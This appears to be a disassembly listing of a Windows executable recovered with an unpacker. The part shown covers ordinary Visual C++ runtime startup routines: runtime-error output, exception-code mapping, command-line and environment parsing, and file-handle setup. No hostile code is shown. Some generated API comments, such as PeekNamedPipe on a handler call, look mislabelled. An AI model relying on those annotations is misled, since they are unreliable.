loc_426104: ; CODE XREF: sub_426069+89j
lea edi, [ebp+8Ch+var_10C]
mov eax, edi
push eax
call sub_41E1C0
inc eax
cmp eax, 3Ch
pop ecx
jbe short loc_426138
mov eax, edi
push eax
call sub_41E1C0
mov edi, eax
lea eax, [ebp+8Ch+var_10C]
sub eax, 3Bh
push 3
add edi, eax
push offset a___ ; "..."
push edi
call sub_41E860
add esp, 10h
loc_426138: ; CODE XREF: sub_426069+ABj
push edi
call sub_41E1C0
push ds:off_443A8C[esi]
mov ebx, eax
call sub_41E1C0
lea eax, [ebx+eax+1Ch]
pop ecx
add eax, 3
pop ecx
and eax, 0FFFFFFFCh
call sub_41EA20
mov ebx, esp
push offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: "
push ebx
call sub_41EEC0
push edi
push ebx
call sub_41EED0
push offset asc_43A018 ; "\n\n"
push ebx
call sub_41EED0
push ds:off_443A8C[esi]
push ebx
call sub_41EED0
push 12010h
push offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library"
push ebx
call sub_428710
add esp, 2Ch
jmp short loc_4261C4
; ---------------------------------------------------------------------------
loc_42619C: ; CODE XREF: sub_426069+4Ej
; sub_426069+5Fj
push edx
lea eax, [ebp+8Ch+arg_0]
push eax
lea esi, off_443A8C[esi]
push dword ptr [esi]
call sub_41E1C0
pop ecx
push eax
push dword ptr [esi]
push 0FFFFFFF4h
call ds:dword_42B188 ; GetStdHandle
push eax
call ds:dword_42B084 ; WriteFile
loc_4261C4: ; CODE XREF: sub_426069+40j
; sub_426069+6Bj ...
lea esp, [ebp-8Ch]
mov ecx, [ebp+8Ch+var_4]
call sub_422B83
pop edi
pop esi
pop ebx
add ebp, 8Ch
leave
retn
sub_426069 endp
; =============== S U B R O U T I N E =======================================
sub_4261E0 proc near ; CODE XREF: sub_420CE8+9p
; start-C3218p
mov eax, ds:dword_4E295C
cmp eax, 1
jz short loc_4261F7
test eax, eax
jnz short locret_426218
cmp ds:dword_4437C4, 1
jnz short locret_426218
loc_4261F7: ; CODE XREF: sub_4261E0+8j
push 0FCh
call sub_426069
mov eax, ds:dword_4E29C0
test eax, eax
pop ecx
jz short loc_42620D
call eax
loc_42620D: ; CODE XREF: sub_4261E0+29j
push 0FFh
call sub_426069
pop ecx
locret_426218: ; CODE XREF: sub_4261E0+Cj
; sub_4261E0+15j
retn
sub_4261E0 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
mov edx, [ebp+8]
mov eax, ds:dword_443BA0
push ebx
mov ecx, offset dword_443B20
push esi
loc_42622B: ; CODE XREF: seg000:0042623Ej
cmp [ecx], edx
jz short loc_426240
lea esi, [eax+eax*2]
add ecx, 0Ch
lea esi, ds:443B20h[esi*4]
cmp ecx, esi
jb short loc_42622B
loc_426240: ; CODE XREF: seg000:0042622Dj
lea eax, [eax+eax*2]
lea eax, ds:443B20h[eax*4]
cmp ecx, eax
jnb short loc_426252
cmp [ecx], edx
jz short loc_426254
loc_426252: ; CODE XREF: seg000:0042624Cj
xor ecx, ecx
loc_426254: ; CODE XREF: seg000:00426250j
test ecx, ecx
jz loc_42637D
mov ebx, [ecx+8]
test ebx, ebx
jz loc_42637D
cmp ebx, 5
jnz short loc_426278
and dword ptr [ecx+8], 0
xor eax, eax
inc eax
jmp loc_426386
; ---------------------------------------------------------------------------
loc_426278: ; CODE XREF: seg000:0042626Aj
cmp ebx, 1
jz loc_426378
mov eax, ds:dword_4E29C4
mov [ebp+8], eax
mov eax, [ebp+0Ch]
mov ds:dword_4E29C4, eax
mov eax, [ecx+4]
cmp eax, 8
jnz loc_426368
mov eax, ds:dword_443B98
mov edx, ds:dword_443B9C
add edx, eax
cmp eax, edx
jge short loc_4262C3
lea esi, [eax+eax*2]
lea esi, ds:443B28h[esi*4]
sub edx, eax
loc_4262BA: ; CODE XREF: seg000:004262C1j
and dword ptr [esi], 0
add esi, 0Ch
dec edx
jnz short loc_4262BA
loc_4262C3: ; CODE XREF: seg000:004262ACj
mov ecx, [ecx]
cmp ecx, 0C000008Eh
mov esi, ds:dword_443BA4
jnz short loc_4262DF
mov ds:dword_443BA4, 83h
jmp short loc_426355
; ---------------------------------------------------------------------------
loc_4262DF: ; CODE XREF: seg000:004262D1j
cmp ecx, 0C0000090h
jnz short loc_4262F3
mov ds:dword_443BA4, 81h
jmp short loc_426355
; ---------------------------------------------------------------------------
loc_4262F3: ; CODE XREF: seg000:004262E5j
cmp ecx, 0C0000091h
jnz short loc_426307
mov ds:dword_443BA4, 84h
jmp short loc_426355
; ---------------------------------------------------------------------------
loc_426307: ; CODE XREF: seg000:004262F9j
cmp ecx, 0C0000093h
jnz short loc_42631B
mov ds:dword_443BA4, 85h
jmp short loc_426355
; ---------------------------------------------------------------------------
loc_42631B: ; CODE XREF: seg000:0042630Dj
cmp ecx, 0C000008Dh
jnz short loc_42632F
mov ds:dword_443BA4, 82h
jmp short loc_426355
; ---------------------------------------------------------------------------
loc_42632F: ; CODE XREF: seg000:00426321j
cmp ecx, 0C000008Fh
jnz short loc_426343
mov ds:dword_443BA4, 86h
jmp short loc_426355
; ---------------------------------------------------------------------------
loc_426343: ; CODE XREF: seg000:00426335j
cmp ecx, 0C0000092h
jnz short loc_426355
mov ds:dword_443BA4, 8Ah
loc_426355: ; CODE XREF: seg000:004262DDj
; seg000:004262F1j ...
push ds:dword_443BA4
push 8
call ebx ; PeekNamedPipe
pop ecx
mov ds:dword_443BA4, esi
jmp short loc_42636F
; ---------------------------------------------------------------------------
loc_426368: ; CODE XREF: seg000:00426297j
and dword ptr [ecx+8], 0
push eax
call ebx ; PeekNamedPipe
loc_42636F: ; CODE XREF: seg000:00426366j
mov eax, [ebp+8]
pop ecx
mov ds:dword_4E29C4, eax
loc_426378: ; CODE XREF: seg000:0042627Bj
or eax, 0FFFFFFFFh
jmp short loc_426386
; ---------------------------------------------------------------------------
loc_42637D: ; CODE XREF: seg000:00426256j
; seg000:00426261j
push dword ptr [ebp+0Ch]
call ds:dword_42B16C ; UnhandledExceptionFilter
loc_426386: ; CODE XREF: seg000:00426273j
; seg000:0042637Bj
pop esi
pop ebx
pop ebp
retn
; =============== S U B R O U T I N E =======================================
sub_42638A proc near ; CODE XREF: start-C318Dp
push esi
push edi
xor edi, edi
cmp ds:dword_4E3F30, edi
jnz short loc_42639B
call sub_4230FC
loc_42639B: ; CODE XREF: sub_42638A+Aj
mov esi, ds:dword_4E2F04
test esi, esi
jnz short loc_4263AA
mov esi, offset byte_42B633
loc_4263AA: ; CODE XREF: sub_42638A+19j
; sub_42638A+4Bj
mov al, [esi]
cmp al, 20h
ja short loc_4263B8
test al, al
jz short loc_4263E2
test edi, edi
jz short loc_4263DC
loc_4263B8: ; CODE XREF: sub_42638A+24j
cmp al, 22h
jnz short loc_4263C5
xor ecx, ecx
test edi, edi
setz cl
mov edi, ecx
loc_4263C5: ; CODE XREF: sub_42638A+30j
movzx eax, al
push eax
call sub_42883C
test eax, eax
pop ecx
jz short loc_4263D4
inc esi
loc_4263D4: ; CODE XREF: sub_42638A+47j
inc esi
jmp short loc_4263AA
; ---------------------------------------------------------------------------
loc_4263D7: ; CODE XREF: sub_42638A+56j
cmp al, 20h
ja short loc_4263E2
inc esi
loc_4263DC: ; CODE XREF: sub_42638A+2Cj
mov al, [esi]
test al, al
jnz short loc_4263D7
loc_4263E2: ; CODE XREF: sub_42638A+28j
; sub_42638A+4Fj
pop edi
mov eax, esi
pop esi
retn
sub_42638A endp
; =============== S U B R O U T I N E =======================================
sub_4263E7 proc near ; CODE XREF: start:loc_420E3Fp
push ebx
xor ebx, ebx
cmp ds:dword_4E3F30, ebx
push esi
push edi
jnz short loc_4263F9
call sub_4230FC
loc_4263F9: ; CODE XREF: sub_4263E7+Bj
mov esi, ds:dword_4E2954
xor edi, edi
cmp esi, ebx
jnz short loc_426417
jmp short loc_426437
; ---------------------------------------------------------------------------
loc_426407: ; CODE XREF: sub_4263E7+34j
cmp al, 3Dh
jz short loc_42640C
inc edi
loc_42640C: ; CODE XREF: sub_4263E7+22j
push esi
call sub_41E1C0
pop ecx
lea esi, [esi+eax+1]
loc_426417: ; CODE XREF: sub_4263E7+1Cj
mov al, [esi]
cmp al, bl
jnz short loc_426407
lea eax, ds:4[edi*4]
push eax
call sub_41E5D3
mov edi, eax
cmp edi, ebx
pop ecx
mov ds:dword_4E2920, edi
jnz short loc_42643C
loc_426437: ; CODE XREF: sub_4263E7+1Ej
or eax, 0FFFFFFFFh
jmp short loc_426494
; ---------------------------------------------------------------------------
loc_42643C: ; CODE XREF: sub_4263E7+4Ej
mov esi, ds:dword_4E2954
push ebp
jmp short loc_42646F
; ---------------------------------------------------------------------------
loc_426445: ; CODE XREF: sub_4263E7+8Aj
push esi
call sub_41E1C0
mov ebp, eax
inc ebp
cmp byte ptr [esi], 3Dh
pop ecx
jz short loc_42646D
push ebp
call sub_41E5D3
cmp eax, ebx
pop ecx
mov [edi], eax
jz short loc_426498
push esi
push eax
call sub_41EEC0
pop ecx
pop ecx
add edi, 4
loc_42646D: ; CODE XREF: sub_4263E7+6Bj
add esi, ebp
loc_42646F: ; CODE XREF: sub_4263E7+5Cj
cmp [esi], bl
jnz short loc_426445
push ds:dword_4E2954
call sub_41E2A1
mov ds:dword_4E2954, ebx
mov [edi], ebx
mov ds:dword_4E3F24, 1
xor eax, eax
loc_426492: ; CODE XREF: sub_4263E7+C5j
pop ecx
pop ebp
loc_426494: ; CODE XREF: sub_4263E7+53j
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_426498: ; CODE XREF: sub_4263E7+78j
push ds:dword_4E2920
call sub_41E2A1
mov ds:dword_4E2920, ebx
or eax, 0FFFFFFFFh
jmp short loc_426492
sub_4263E7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4264AE proc near ; CODE XREF: sub_42661A+54p
; sub_42661A+85p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, [ebp+arg_4]
xor edx, edx
cmp [ebp+arg_0], edx
push edi
mov [esi], edx
mov edi, ecx
mov dword ptr [ebx], 1
jz short loc_4264D1
mov ecx, [ebp+arg_0]
add [ebp+arg_0], 4
mov [ecx], edi
loc_4264D1: ; CODE XREF: sub_4264AE+18j
; sub_4264AE+65j ...
cmp byte ptr [eax], 22h
jnz short loc_4264E4
xor ecx, ecx
test edx, edx
setz cl
inc eax
mov edx, ecx
mov cl, 22h
jmp short loc_426511
; ---------------------------------------------------------------------------
loc_4264E4: ; CODE XREF: sub_4264AE+26j
inc dword ptr [esi]
test edi, edi
jz short loc_4264EF
mov cl, [eax]
mov [edi], cl
inc edi
loc_4264EF: ; CODE XREF: sub_4264AE+3Aj
mov cl, [eax]
movzx ebx, cl
inc eax
test ds:byte_4E2CC1[ebx], 4
jz short loc_42650A
inc dword ptr [esi]
test edi, edi
jz short loc_426509
mov bl, [eax]
mov [edi], bl
inc edi
loc_426509: ; CODE XREF: sub_4264AE+54j
inc eax
loc_42650A: ; CODE XREF: sub_4264AE+4Ej
test cl, cl
mov ebx, [ebp+arg_4]
jz short loc_426543
loc_426511: ; CODE XREF: sub_4264AE+34j
test edx, edx
jnz short loc_4264D1
cmp cl, 20h
jz short loc_42651F
cmp cl, 9
jnz short loc_4264D1
loc_42651F: ; CODE XREF: sub_4264AE+6Aj
test edi, edi
jz short loc_426527
mov byte ptr [edi-1], 0
loc_426527: ; CODE XREF: sub_4264AE+73j
; sub_4264AE+96j
and [ebp+var_4], 0
loc_42652B: ; CODE XREF: sub_4264AE+157j
cmp byte ptr [eax], 0
jz loc_42660A
loc_426534: ; CODE XREF: sub_4264AE+93j
mov cl, [eax]
cmp cl, 20h
jz short loc_426540
cmp cl, 9
jnz short loc_426546
loc_426540: ; CODE XREF: sub_4264AE+8Bj
inc eax
jmp short loc_426534
; ---------------------------------------------------------------------------
loc_426543: ; CODE XREF: sub_4264AE+61j
dec eax
jmp short loc_426527
; ---------------------------------------------------------------------------
loc_426546: ; CODE XREF: sub_4264AE+90j
cmp byte ptr [eax], 0
jz loc_42660A
cmp [ebp+arg_0], 0
jz short loc_42655E
mov ecx, [ebp+arg_0]
add [ebp+arg_0], 4
mov [ecx], edi
loc_42655E: ; CODE XREF: sub_4264AE+A5j
inc dword ptr [ebx]
loc_426560: ; CODE XREF: sub_4264AE+145j
xor ebx, ebx
inc ebx
xor edx, edx
jmp short loc_426569
; ---------------------------------------------------------------------------
loc_426567: ; CODE XREF: sub_4264AE+BEj
inc eax
inc edx
loc_426569: ; CODE XREF: sub_4264AE+B7j
cmp byte ptr [eax], 5Ch
jz short loc_426567
cmp byte ptr [eax], 22h
jnz short loc_426599
test dl, 1
jnz short loc_426597
cmp [ebp+var_4], 0
jz short loc_42658A
lea ecx, [eax+1]
cmp byte ptr [ecx], 22h
jnz short loc_42658A
mov eax, ecx
jmp short loc_42658C
; ---------------------------------------------------------------------------
loc_42658A: ; CODE XREF: sub_4264AE+CEj
; sub_4264AE+D6j
xor ebx, ebx
loc_42658C: ; CODE XREF: sub_4264AE+DAj
xor ecx, ecx
cmp [ebp+var_4], ecx
setz cl
mov [ebp+var_4], ecx
loc_426597: ; CODE XREF: sub_4264AE+C8j
shr edx, 1
loc_426599: ; CODE XREF: sub_4264AE+C3j
test edx, edx
jz short loc_4265AA
loc_42659D: ; CODE XREF: sub_4264AE+FAj
test edi, edi
jz short loc_4265A5
mov byte ptr [edi], 5Ch
inc edi
loc_4265A5: ; CODE XREF: sub_4264AE+F1j
inc dword ptr [esi]
dec edx
jnz short loc_42659D
loc_4265AA: ; CODE XREF: sub_4264AE+EDj
mov cl, [eax]
test cl, cl
jz short loc_4265F8
cmp [ebp+var_4], 0
jnz short loc_4265C0
cmp cl, 20h
jz short loc_4265F8
cmp cl, 9
jz short loc_4265F8
loc_4265C0: ; CODE XREF: sub_4264AE+106j
test ebx, ebx
jz short loc_4265F2
test edi, edi
jz short loc_4265E1
movzx edx, cl
test ds:byte_4E2CC1[edx], 4
jz short loc_4265DA
mov [edi], cl
inc edi
inc eax
inc dword ptr [esi]
loc_4265DA: ; CODE XREF: sub_4264AE+124j
mov cl, [eax]
mov [edi], cl
inc edi
jmp short loc_4265F0
; ---------------------------------------------------------------------------
loc_4265E1: ; CODE XREF: sub_4264AE+118j
movzx ecx, cl
test ds:byte_4E2CC1[ecx], 4
jz short loc_4265F0
inc eax
inc dword ptr [esi]
loc_4265F0: ; CODE XREF: sub_4264AE+131j
; sub_4264AE+13Dj
inc dword ptr [esi]
loc_4265F2: ; CODE XREF: sub_4264AE+114j
inc eax
jmp loc_426560
; ---------------------------------------------------------------------------
loc_4265F8: ; CODE XREF: sub_4264AE+100j
; sub_4264AE+10Bj ...
test edi, edi
jz short loc_426600
mov byte ptr [edi], 0
inc edi
loc_426600: ; CODE XREF: sub_4264AE+14Cj
inc dword ptr [esi]
mov ebx, [ebp+arg_4]
jmp loc_42652B
; ---------------------------------------------------------------------------
loc_42660A: ; CODE XREF: sub_4264AE+80j
; sub_4264AE+9Bj
mov eax, [ebp+arg_0]
test eax, eax
jz short loc_426614
and dword ptr [eax], 0
loc_426614: ; CODE XREF: sub_4264AE+161j
inc dword ptr [ebx]
pop edi
pop ebx
leave
retn
sub_4264AE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42661A proc near ; CODE XREF: start-C31D2p
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
xor edi, edi
cmp ds:dword_4E3F30, edi
jnz short loc_426631
call sub_4230FC
loc_426631: ; CODE XREF: sub_42661A+10j
push 104h
mov esi, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe"
push esi
push edi
mov ds:byte_4E2ACC, 0
call ds:dword_42B00C ; GetModuleFileNameA
mov eax, ds:dword_4E2F04
cmp eax, edi
mov ds:off_4E2930, esi
jz short loc_426660
cmp byte ptr [eax], 0
mov ebx, eax
jnz short loc_426662
loc_426660: ; CODE XREF: sub_42661A+3Dj
mov ebx, esi
loc_426662: ; CODE XREF: sub_42661A+44j
lea eax, [ebp+var_4]
push eax
push edi
lea esi, [ebp+var_8]
xor ecx, ecx
mov eax, ebx
call sub_4264AE
mov esi, [ebp+var_4]
mov eax, [ebp+var_8]
shl esi, 2
add eax, esi
push eax
call sub_41E5D3
mov edi, eax
add esp, 0Ch
test edi, edi
jnz short loc_426692
or eax, 0FFFFFFFFh
jmp short loc_4266B7
; ---------------------------------------------------------------------------
loc_426692: ; CODE XREF: sub_42661A+71j
lea eax, [ebp+var_4]
push eax
lea ecx, [esi+edi]
push edi
lea esi, [ebp+var_8]
mov eax, ebx
call sub_4264AE
mov eax, [ebp+var_4]
dec eax
pop ecx
mov ds:dword_4E2914, eax
pop ecx
mov ds:dword_4E2918, edi
xor eax, eax
loc_4266B7: ; CODE XREF: sub_42661A+76j
pop edi
pop esi
pop ebx
leave
retn
sub_42661A endp
; =============== S U B R O U T I N E =======================================
sub_4266BC proc near ; CODE XREF: start-C31DCp
var_8 = dword ptr -8
var_4 = dword ptr -4
push ecx
push ecx
mov eax, ds:dword_4E2AD0
push ebx
push ebp
push esi
push edi
mov edi, ds:dword_42B15C
xor ebx, ebx
xor esi, esi
cmp eax, ebx
push 2
pop ebp
jnz short loc_426705
call edi ; GetEnvironmentStringsW
mov esi, eax
cmp esi, ebx
jz short loc_4266EC
mov ds:dword_4E2AD0, 1
jmp short loc_42670A
; ---------------------------------------------------------------------------
loc_4266EC: ; CODE XREF: sub_4266BC+22j
call ds:dword_42B01C ; RtlGetLastWin32Error
cmp eax, 78h
jnz short loc_426700
mov eax, ebp
mov ds:dword_4E2AD0, eax
jmp short loc_426705
; ---------------------------------------------------------------------------
loc_426700: ; CODE XREF: sub_4266BC+39j
mov eax, ds:dword_4E2AD0
loc_426705: ; CODE XREF: sub_4266BC+1Aj
; sub_4266BC+42j
cmp eax, 1
jnz short loc_426787
loc_42670A: ; CODE XREF: sub_4266BC+2Ej
cmp esi, ebx
jnz short loc_426716
call edi ; GetEnvironmentStringsW
mov esi, eax
cmp esi, ebx
jz short loc_42678F
loc_426716: ; CODE XREF: sub_4266BC+50j
cmp [esi], bx
mov eax, esi
jz short loc_42672B
loc_42671D: ; CODE XREF: sub_4266BC+66j
; sub_4266BC+6Dj
add eax, ebp
cmp [eax], bx
jnz short loc_42671D
add eax, ebp
cmp [eax], bx
jnz short loc_42671D
loc_42672B: ; CODE XREF: sub_4266BC+5Fj
mov edi, ds:dword_42B090
push ebx
push ebx
push ebx
sub eax, esi
push ebx
sar eax, 1
inc eax
push eax
push esi
push ebx
push ebx
mov [esp+38h+var_4], eax
call edi ; WideCharToMultiByte
mov ebp, eax
cmp ebp, ebx
jz short loc_42677C
push ebp
call sub_41E5D3
cmp eax, ebx
pop ecx
mov [esp+18h+var_8], eax
jz short loc_42677C
push ebx
push ebx
push ebp
push eax
push [esp+28h+var_4]
push esi
push ebx
push ebx
call edi ; WideCharToMultiByte
test eax, eax
jnz short loc_426778
push [esp+18h+var_8]
call sub_41E2A1
pop ecx
mov [esp+18h+var_8], ebx
loc_426778: ; CODE XREF: sub_4266BC+ACj
mov ebx, [esp+18h+var_8]
loc_42677C: ; CODE XREF: sub_4266BC+8Cj
; sub_4266BC+9Bj
push esi
call ds:dword_42B160 ; FreeEnvironmentStringsW
mov eax, ebx
jmp short loc_4267D7
; ---------------------------------------------------------------------------
loc_426787: ; CODE XREF: sub_4266BC+4Cj
cmp eax, ebp
jz short loc_426793
cmp eax, ebx
jz short loc_426793
loc_42678F: ; CODE XREF: sub_4266BC+58j
; sub_4266BC+E1j
xor eax, eax
jmp short loc_4267D7
; ---------------------------------------------------------------------------
loc_426793: ; CODE XREF: sub_4266BC+CDj
; sub_4266BC+D1j
call ds:dword_42B164 ; GetEnvironmentStrings
mov esi, eax
cmp esi, ebx
jz short loc_42678F
cmp [esi], bl
jz short loc_4267AD
loc_4267A3: ; CODE XREF: sub_4266BC+EAj
; sub_4266BC+EFj
inc eax
cmp [eax], bl
jnz short loc_4267A3
inc eax
cmp [eax], bl
jnz short loc_4267A3
loc_4267AD: ; CODE XREF: sub_4266BC+E5j
sub eax, esi
inc eax
mov ebp, eax
push ebp
call sub_41E5D3
mov edi, eax
cmp edi, ebx
pop ecx
jnz short loc_4267C3
xor edi, edi
jmp short loc_4267CE
; ---------------------------------------------------------------------------
loc_4267C3: ; CODE XREF: sub_4266BC+101j
push ebp
push esi
push edi
call sub_41F400
add esp, 0Ch
loc_4267CE: ; CODE XREF: sub_4266BC+105j
push esi
call ds:dword_42B168 ; FreeEnvironmentStringsA
mov eax, edi
loc_4267D7: ; CODE XREF: sub_4266BC+C9j
; sub_4266BC+D5j
pop edi
pop esi
pop ebp
pop ebx
pop ecx
pop ecx
retn
sub_4266BC endp
; =============== S U B R O U T I N E =======================================
sub_4267DE proc near ; CODE XREF: sub_426A43:loc_426BD6p
push ebx
push ebp
push esi
push edi
or ebx, 0FFFFFFFFh
xor esi, esi
xor edx, edx
mov ecx, offset dword_4E2BA0
mov edi, 100h
loc_4267F3: ; CODE XREF: sub_4267DE+54j
mov eax, [ecx]
test eax, eax
jz short loc_426836
lea ebp, [eax+100h]
jmp short loc_42680E
; ---------------------------------------------------------------------------
loc_426801: ; CODE XREF: sub_4267DE+32j
test byte ptr [eax+4], 1
jz short loc_426814
mov ebp, [ecx]
add eax, 8
add ebp, edi
loc_42680E: ; CODE XREF: sub_4267DE+21j
cmp eax, ebp
jb short loc_426801
jmp short loc_426825
; ---------------------------------------------------------------------------
loc_426814: ; CODE XREF: sub_4267DE+27j
or dword ptr [eax], 0FFFFFFFFh
sub eax, [ecx]
sar eax, 3
add eax, edx
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jnz short loc_426874
loc_426825: ; CODE XREF: sub_4267DE+34j
add ecx, 4
inc esi
add edx, 20h
cmp ecx, offset dword_4E2CA0
jl short loc_4267F3
jmp short loc_426874
; ---------------------------------------------------------------------------
loc_426836: ; CODE XREF: sub_4267DE+19j
push edi
call sub_41E5D3
test eax, eax
pop ecx
jz short loc_426874
add ds:dword_4E2B98, 20h
lea ecx, ds:4E2BA0h[esi*4]
mov [ecx], eax
lea edx, [eax+100h]
jmp short loc_42686B
; ---------------------------------------------------------------------------
loc_426859: ; CODE XREF: sub_4267DE+8Fj
or dword ptr [eax], 0FFFFFFFFh
mov byte ptr [eax+4], 0
mov byte ptr [eax+5], 0Ah
mov edx, [ecx]
add eax, 8
add edx, edi
loc_42686B: ; CODE XREF: sub_4267DE+79j
cmp eax, edx
jb short loc_426859
shl esi, 5
mov ebx, esi
loc_426874: ; CODE XREF: sub_4267DE+45j
; sub_4267DE+56j ...
pop edi
pop esi
pop ebp
mov eax, ebx
pop ebx
retn
sub_4267DE endp
; =============== S U B R O U T I N E =======================================
sub_42687B proc near ; CODE XREF: sub_426A43+20Fp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
cmp eax, ds:dword_4E2B98
push esi
push edi
jnb short loc_4268DB
mov ecx, eax
sar ecx, 5
mov esi, eax
and esi, 1Fh
lea edi, ds:4E2BA0h[ecx*4]
mov ecx, [edi]
shl esi, 3
cmp dword ptr [esi+ecx], 0FFFFFFFFh
jnz short loc_4268DB
cmp ds:dword_4437C4, 1
push ebx
mov ebx, [esp+0Ch+arg_4]
jnz short loc_4268D1
sub eax, 0
jz short loc_4268C8
dec eax
jz short loc_4268C3
dec eax
jnz short loc_4268D1
push ebx
push 0FFFFFFF4h
jmp short loc_4268CB
; ---------------------------------------------------------------------------
loc_4268C3: ; CODE XREF: sub_42687B+3Ej
push ebx
push 0FFFFFFF5h
jmp short loc_4268CB
; ---------------------------------------------------------------------------
loc_4268C8: ; CODE XREF: sub_42687B+3Bj
push ebx
push 0FFFFFFF6h
loc_4268CB: ; CODE XREF: sub_42687B+46j
; sub_42687B+4Bj
call ds:dword_42B158 ; SetStdHandle
loc_4268D1: ; CODE XREF: sub_42687B+36j
; sub_42687B+41j
mov eax, [edi]
mov [esi+eax], ebx
xor eax, eax
pop ebx
jmp short loc_4268EF
; ---------------------------------------------------------------------------
loc_4268DB: ; CODE XREF: sub_42687B+Cj
; sub_42687B+28j
and ds:dword_4E28F8, 0
mov ds:dword_4E28F4, 9
or eax, 0FFFFFFFFh
loc_4268EF: ; CODE XREF: sub_42687B+5Ej
pop edi
pop esi
retn
sub_42687B endp
; =============== S U B R O U T I N E =======================================
sub_4268F2 proc near ; CODE XREF: sub_420EE9+7Cp
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
cmp ecx, ds:dword_4E2B98
push esi
push edi
jnb short loc_426955
mov eax, ecx
sar eax, 5
mov esi, ecx
lea edi, ds:4E2BA0h[eax*4]
mov eax, [edi]
and esi, 1Fh
shl esi, 3
add eax, esi
test byte ptr [eax+4], 1
jz short loc_426955
cmp dword ptr [eax], 0FFFFFFFFh
jz short loc_426955
cmp ds:dword_4437C4, 1
jnz short loc_42694B
xor eax, eax
sub ecx, eax
jz short loc_426942
dec ecx
jz short loc_42693D
dec ecx
jnz short loc_42694B
push eax
push 0FFFFFFF4h
jmp short loc_426945
; ---------------------------------------------------------------------------
loc_42693D: ; CODE XREF: sub_4268F2+41j
push eax
push 0FFFFFFF5h
jmp short loc_426945
; ---------------------------------------------------------------------------
loc_426942: ; CODE XREF: sub_4268F2+3Ej
push eax
push 0FFFFFFF6h
loc_426945: ; CODE XREF: sub_4268F2+49j
; sub_4268F2+4Ej
call ds:dword_42B158 ; SetStdHandle
loc_42694B: ; CODE XREF: sub_4268F2+38j
; sub_4268F2+44j
mov eax, [edi]
or dword ptr [esi+eax], 0FFFFFFFFh
xor eax, eax
jmp short loc_426969
; ---------------------------------------------------------------------------
loc_426955: ; CODE XREF: sub_4268F2+Cj
; sub_4268F2+2Aj ...
and ds:dword_4E28F8, 0
mov ds:dword_4E28F4, 9
or eax, 0FFFFFFFFh
loc_426969: ; CODE XREF: sub_4268F2+61j
pop edi
pop esi
retn
sub_4268F2 endp
; =============== S U B R O U T I N E =======================================
sub_42696C proc near ; CODE XREF: sub_420EE9+32p
; sub_420EE9+49p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
cmp eax, ds:dword_4E2B98
jnb short loc_426993
mov ecx, eax
sar ecx, 5
mov ecx, ds:dword_4E2BA0[ecx*4]
and eax, 1Fh
lea eax, [ecx+eax*8]
test byte ptr [eax+4], 1
jz short loc_426993
mov eax, [eax]
retn
; ---------------------------------------------------------------------------
loc_426993: ; CODE XREF: sub_42696C+Aj
; sub_42696C+22j
and ds:dword_4E28F8, 0
mov ds:dword_4E28F4, 9
or eax, 0FFFFFFFFh
retn
sub_42696C endp
; ---------------------------------------------------------------------------
dd 424448Bh, 2B98053Bh, 3D73004Eh, 0F9C1C88Bh, 8D0C8B05h
dd 4E2BA0h, 0E283D08Bh, 0D144F61Fh, 25740104h, 0FF9AE850h
dd 5059FFFFh, 0B15415FFh, 0C0850042h, 15FF0875h, 42B01Ch
dd 0C03302EBh, 1274C085h, 4E28F8A3h, 0F405C700h, 9004E28h
dd 83000000h
db 0C8h, 0FFh, 0C3h
; =============== S U B R O U T I N E =======================================
sub_4269FF proc near ; CODE XREF: sub_421C63+34p
; sub_422124+6Fp ...
arg_0 = dword ptr 4
inc ds:dword_4E2944
push 1000h
call sub_41E5D3
test eax, eax
pop ecx
mov ecx, [esp+arg_0]
mov [ecx+8], eax
jz short loc_426A28
or dword ptr [ecx+0Ch], 8
mov dword ptr [ecx+18h], 1000h
jmp short loc_426A39
; ---------------------------------------------------------------------------
loc_426A28: ; CODE XREF: sub_4269FF+1Aj
or dword ptr [ecx+0Ch], 4
lea eax, [ecx+14h]
mov [ecx+8], eax
mov dword ptr [ecx+18h], 2
loc_426A39: ; CODE XREF: sub_4269FF+27j
mov eax, [ecx+8]
and dword ptr [ecx+4], 0
mov [ecx], eax
retn
sub_4269FF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_426A43 proc near ; CODE XREF: sub_421F4A+137p
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_2 = byte ptr -2
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 1Ch
mov ecx, [ebp+arg_4]
push ebx
xor ebx, ebx
test cl, cl
push esi
mov [ebp+var_1C], 0Ch
mov [ebp+var_18], ebx
jns short loc_426A67
mov [ebp+var_14], ebx
mov [ebp+var_1], 10h
jmp short loc_426A72
; ---------------------------------------------------------------------------
loc_426A67: ; CODE XREF: sub_426A43+19j
mov [ebp+var_14], 1
mov [ebp+var_1], 0
loc_426A72: ; CODE XREF: sub_426A43+22j
mov eax, 8000h
test ecx, eax
jnz short loc_426A8C
test ch, 40h
jnz short loc_426A88
cmp ds:dword_4E2B70, eax
jz short loc_426A8C
loc_426A88: ; CODE XREF: sub_426A43+3Bj
or [ebp+var_1], 80h
loc_426A8C: ; CODE XREF: sub_426A43+36j
; sub_426A43+43j
push 3
mov eax, ecx
pop esi
and eax, esi
sub eax, ebx
jz short loc_426AAF
dec eax
jz short loc_426AA6
dec eax
jnz short loc_426ACD
mov [ebp+var_10], 0C0000000h
jmp short loc_426AB6
; ---------------------------------------------------------------------------
loc_426AA6: ; CODE XREF: sub_426A43+55j
mov [ebp+var_10], 40000000h
jmp short loc_426AB6
; ---------------------------------------------------------------------------
